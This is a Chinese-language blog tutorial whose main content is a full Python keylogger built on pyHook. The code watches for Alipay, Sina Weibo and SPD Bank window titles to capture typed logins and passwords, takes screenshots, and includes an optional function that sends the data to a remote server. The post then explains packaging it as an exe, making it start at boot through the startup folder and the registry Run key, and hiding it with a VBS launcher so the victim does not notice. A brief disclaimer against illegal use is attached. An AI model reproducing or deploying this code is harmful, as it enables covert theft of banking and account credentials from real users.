Python利用pyHook实现监听用户鼠标与键盘事件


Posted in Python onAugust 21, 2014

本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:

一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下

# -*- coding: utf-8 -*- # 

import pythoncom 
import pyHook  
import time
import socket
from PIL import ImageGrab

#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
    
#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):  
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event): 
  # 监听鼠标事件   
  global MSG
  if len(MSG)!=0:    
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
 
def onKeyboardEvent(event):
  #监听键盘事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通过网站title,判断当前网站是否是“监听目标”
  if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter 
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)        
    if (event.Ascii == 9) or (event.Ascii == 13):      
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = '' 
      #屏幕抓图实现
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成为以日期命名的图片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 
 
if __name__ == "__main__":   
  MSG = ''  
  #创建hook句柄
  hm = pyHook.HookManager()

  #监控鼠标
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #监控键盘
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循环获取消息
  pythoncom.PumpMessages()

二、用py2exe将脚本打包:

新建一个py文件setup.py,内容如下:

from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

命令行执行以下命令:

pythonsetup.pypy2exe

三、将该程序设置为开机自动启动:

步骤①:

将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下

步骤②:

修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)

步骤③:

新建一个 .vbs文件,内容如下:

setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。

补充:

1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、本代码仅为测试示例,读者不要将其用于非法用途。

感兴趣的读者可以对本文实例加以改进,使之功能更加完善。

Python 相关文章推荐
在Python操作时间和日期之asctime()方法的使用
May 22 Python
Python中for循环控制语句用法实例
Jun 02 Python
Python实现简单HTML表格解析的方法
Jun 15 Python
Python while 循环使用的简单实例
Jun 08 Python
python如何为创建大量实例节省内存
Mar 20 Python
Python paramiko模块的使用示例
Apr 11 Python
Python的Tkinter点击按钮触发事件的例子
Jul 19 Python
Python将主机名转换为IP地址的方法
Aug 14 Python
pytorch构建多模型实例
Jan 15 Python
python opencv pytesseract 验证码识别的实现
Aug 28 Python
Python面向对象特殊属性及方法解析
Sep 16 Python
详解Golang如何实现支持随机删除元素的堆
Sep 23 Python
Python发送Email方法实例
Aug 21 #Python
Python生成验证码实例
Aug 21 #Python
python中去空格函数的用法
Aug 21 #Python
python实现的重启关机程序实例
Aug 21 #Python
实例讲解Python中的私有属性
Aug 21 #Python
Python创建日历实例
Aug 21 #Python
Python实现批量把SVG格式转成png、pdf格式的代码分享
Aug 21 #Python
You might like
PHP stream_context_create()作用和用法分析
2011/03/29 PHP
PHP学习之正则表达式
2011/04/17 PHP
php和数据库结合的一个简单的web实例 代码分析 (php初学者)
2011/07/28 PHP
PHP pathinfo()获得文件的路径、名称等信息说明
2011/09/13 PHP
解密ThinkPHP3.1.2版本之独立分组功能应用
2014/06/19 PHP
php使用timthumb生成缩略图的方法
2016/01/22 PHP
PHP微信开发用Cache 解决数据缓存
2016/07/11 PHP
php并发加锁示例
2016/10/17 PHP
为jquery.ui.dialog 增加“自动记住关闭时的位置”的功能
2009/11/24 Javascript
JavaScript程序员应该知道的45个实用技巧
2014/03/04 Javascript
扩展jQuery对象时如何扩展成员变量具体怎么实现
2014/04/25 Javascript
Blocksit插件实现瀑布流数据无限( 异步)加载
2014/06/20 Javascript
深入理解JavaScript系列(44):设计模式之桥接模式详解
2015/03/04 Javascript
jQuery时间轴插件使用详解
2015/07/16 Javascript
JavaScript实现的简单烟花特效代码
2015/10/20 Javascript
深入分析jQuery的ready函数是如何工作的(工作原理)
2015/12/17 Javascript
学习javascript面向对象 理解javascript原型和原型链
2016/01/04 Javascript
jquery validate表单验证的基本用法入门
2016/01/18 Javascript
javascript中href和replace的比较(详解)
2016/11/25 Javascript
JS原生带小白点轮播图实例讲解
2017/07/22 Javascript
在 Vue.js中优雅地使用全局事件的方法
2019/02/01 Javascript
微信头像地址失效踩坑记附带解决方案
2019/09/23 Javascript
javascript执行上下文、变量对象实例分析
2020/04/25 Javascript
Javascript实现打鼓效果
2021/01/29 Javascript
python实现的各种排序算法代码
2013/03/04 Python
Python中声明只包含一个元素的元组数据方法
2014/08/25 Python
利用Python绘制MySQL数据图实现数据可视化
2015/03/30 Python
pyqt5自定义信号实例解析
2018/01/31 Python
逼真的HTML5树叶飘落动画
2016/03/01 HTML / CSS
英国折扣零售连锁店:QD Stores
2018/12/08 全球购物
StubHub中国:购买和出售全球活动门票
2020/01/01 全球购物
Chinti & Parker官网:奢华羊绒女装和创新针织设计
2021/01/01 全球购物
优秀幼教自荐信
2014/02/03 职场文书
爱护公物演讲稿
2014/09/09 职场文书
大学副班长竞选稿
2015/11/21 职场文书
MySQL sql_mode修改不生效的原因及解决
2021/05/07 MySQL